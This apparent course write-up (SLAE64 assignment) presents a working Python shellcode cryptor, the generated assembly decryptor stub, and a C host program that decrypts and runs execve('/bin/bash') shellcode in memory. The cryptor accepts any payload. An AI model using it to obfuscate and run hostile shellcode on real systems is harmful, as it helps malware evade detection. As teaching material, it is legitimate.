SLAE64 Assignment 7 - Cryptor Shellcode

10 minute read

Overview

For the seventh assignment of the SLAE64, I created an Add Cryptor and a companion Sub Decryptor.
Any shellcode or encryption key can be placed in the python Add Cryptor. The Add Cryptor will output an assembly file decrypt.asm. This assembly file is shellcode that will decrypt the payload in memory and then execute it.

Contents

1. The Python Cryptor
2. Configurable Payload
3. Configurable Encryption Key
4. Testing Python Cryptor Program
5. The Decryptor File
6. Compiling-the-Decryptor
7. Adding the Decryptor to A Host Program
8. Compiling & Executing the Test Host Program

The Python Cryptor

#!/usr/bin/python
# Filename: add-cryptor.py
# Author:   Bobby Cooke

# Execve(/bin/bash) Linux/x64 Shellcode
payload  = "\x48\x31\xf6"     # xor rsi, rsi
payload += "\x48\xf7\xe6"     # mul rsi       ; rdx&rax= 0x0
payload += "\x48\x31\xff"     # xor rdi, rdi
payload += "\x57"             # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52"             # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" 
           # movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52"             # push rdx
payload += "\x48\x31\xd2"     # xor rdx, rdx
payload += "\x48\x89\xe7"     # mov rdi, rsp  ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b"         # mov al, 0x3b  ; execve syscall number
payload += "\x0f\x05"         # syscall       ; call execve("/bin/bash", NULL, NULL)

key = "SoSecr3T"
encrypted = ""
keyArray = bytearray(key)
keyLength = len(key)

count1 = 0
count2 = 0

for x in bytearray(payload): 
    if count1 == keyLength:   # If key length is exceeded, reuse the key
        count1 = 0
    x += keyArray[count1]	  # Add payload 1st byte and key together
    if x > 255:               # check for overflow
        x -= 256		
    if count2 == 0:
        encrypted += '0x'
        encrypted += '%02x' %x
    else:
        encrypted += ',0x'
        encrypted += '%02x' %x
    count1 += 1
    count2 += 1

encrypted += ',0xaa,0xbb'

print "[--------------Encrypted-Payload--------------]"
print "Encryped Payload Size is: "+ str(hex(len(payload)+2)) + " Bytes"
print encrypted

keyHex = ""
count  = 0
for x in keyArray:
    if count == 0:
        keyHex += '0x'
        keyHex += '%02x' %x
    else:
        keyHex += ',0x'
        keyHex += '%02x' %x
    count += 1

keyHex += ',0xee' # End of key byte

print "[----------------Key-Info---------------------]"
print "Key Size is: "+ str(keyLength) + " Bytes"
print keyHex


# Write Assembly Code to a File

asmFile  = 'xor rcx, rcx  ; rcx = 0x0\r\n'
asmFile += 'mul rcx       ; rax&rdx = 0x0\r\n'
asmFile += 'jmp short callEncrypted\r\n'
asmFile += 'popEncrypted:\r\n'
asmFile += 'pop rdi       ; rdi = &Encrypted\r\n'
asmFile += 'jmp short callKey\r\n'
asmFile += 'popKey:\r\n'
asmFile += 'pop rax       ; rax = &key\r\n'
asmFile += 'resetKey:\r\n'
asmFile += 'push rax\r\n'
asmFile += 'pop rsi       ; rsi = &key\r\n'
asmFile += 'decryptLoop:\r\n'
asmFile += 'mov dl, [rsi]\r\n'
asmFile += 'sub [rdi], dl    ; decrypt byte of payload\r\n'
asmFile += 'inc rsi          ; next key byte\r\n'
asmFile += 'inc rdi          ; next encrypted byte\r\n'
asmFile += 'mov dx, 0xbbaa\r\n'
asmFile += 'cmp [rdi], dx    ; End of payload?\r\n'
asmFile += 'je payload\r\n'
asmFile += 'mov dl, 0xee\r\n'
asmFile += 'cmp [rsi], dl    ; End of key?\r\n'
asmFile += 'je resetKey\r\n'
asmFile += 'jmp short decryptLoop ; use next byte of key to decrypt\r\n'
asmFile += 'callEncrypted:\r\n'
asmFile += 'call popEncrypted\r\n'
asmFile += 'payload:\r\n'
asmFile += 'db '+encrypted+'\r\n'
asmFile += 'callKey:\r\n'
asmFile += 'call popKey\r\n'
asmFile += 'key:\r\n'
asmFile += 'db '+keyHex+'\r\n'

File    = "decrypt.asm"
try:
    f       = open(File, 'w')
    f.write(asmFile)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'

Configurable Payload

The payload can be changed to any Linux x64 shellcode. This can be done by replacing the payload variable within the python program.

# Execve(/bin/bash) Linux/x64 Shellcode
payload  = "\x48\x31\xf6"     # xor rsi, rsi
payload += "\x48\xf7\xe6"     # mul rsi       ; rdx&rax= 0x0
payload += "\x48\x31\xff"     # xor rdi, rdi
payload += "\x57"             # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52"             # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" 
           # movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52"             # push rdx
payload += "\x48\x31\xd2"     # xor rdx, rdx
payload += "\x48\x89\xe7"     # mov rdi, rsp  ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b"         # mov al, 0x3b  ; execve syscall number
payload += "\x0f\x05"         # syscall       ; call execve("/bin/bash", NULL, NULL)

Configurable Encryption Key

The encryption key is also configurable. Simply change the string of the varaible key within the python program to any key you wish. The length should not matter

key = "SoSecr3T"

Testing Python Cryptor Program

Since we already have the payload set to our execve shellcode, we will run the cryptor.

root# python 1-Cryptor-Add.py
[--------------Encrypted-Payload--------------]
Encryped Payload Size is: 0x26 Bytes
0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,
0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,
0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,
0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,
0xaa,0xbb
[----------------Key-Info---------------------]
Key Size is: 8 Bytes
0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee
decrypt.asm created successfully

  • We see that a file named decrypt.asm has been created.

The Decryptor File

The python program created an assembly file that has our encrypted payload and encryption key loaded into it. All we need to do is compile it to get the decryptor shellcode.

xor rcx, rcx  ; rcx = 0x0
mul rcx       ; rax&rdx = 0x0
jmp short callEncrypted
popEncrypted:
pop rdi       ; rdi = &Encrypted
jmp short callKey
popKey:
pop rax       ; rax = &key
resetKey:
push rax
pop rsi       ; rsi = &key
decryptLoop:
mov dl, [rsi]
sub [rdi], dl    ; decrypt byte of payload
inc rsi          ; next key byte
inc rdi          ; next encrypted byte
mov dx, 0xbbaa
cmp [rdi], dx    ; End of payload?
je payload
mov dl, 0xee
cmp [rsi], dl    ; End of key?
je resetKey
jmp short decryptLoop ; use next byte of key to decrypt
callEncrypted:
call popEncrypted
payload:
db   0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,\
     0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,\
     0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,\
     0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,\
     0xaa,0xbb
callKey:
call popKey
key:
db 0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee

Compiling the Decryptor

Here we will use a simple bash script to compile the decryptor assembly. We will then load it into a simple C program for testing.

root# cat getshellcode.sh
#!/bin/bash
asmFile=$1
noExt=$(echo $asmFile | sed 's/\..*$//g')
objFile=$noExt".o"
nasm -f elf64 $asmFile -o $objFile
for i in $(objdump -D $objFile | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''

root# ./getshellcode.sh decrypt.asm
\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e
\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb
\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8
\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6
\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5
\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb
\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee

Adding the Decryptor to A Host Program

Now that we have the assembly for our encrypted payload, pre setup with the symmetric decryption key & decryptor stub, we will load it into a host C program. Since the decryptor stub writes to memory that is typically not writable, we will have to pass some magic flags to GCC at compilation.

// Filename: shellcode.c
// Author:   Bobby Cooke
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e"
"\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb"
"\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8"
"\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6"
"\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5"
"\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb"
"\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee";
int main()
{
        printf("Shellcode Length:  %d\n", strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

Compiling & Executing the Test Host Program

Now we will compile our host C program with GCC.

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
  • Awesome, no errors!

Now we will execute our compiled C program that hosts our shellcode.

root# echo $$ | xargs ps
    PID TTY      STAT   TIME COMMAND
   4332 pts/2    Ss     0:01 /bin/bash
root# ./shellcode
Shellcode Length:  98
root# echo $$ | xargs ps
    PID TTY      STAT   TIME COMMAND
   8081 pts/2    S      0:00 [bash]
  • Awesome! Everything works as intended.

Our payload was successfully decrypted in memory using the key provided in the decryptor file. After our encrypted payload was decrypted, execution was passed to our original execve shellcode payload!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

Updated: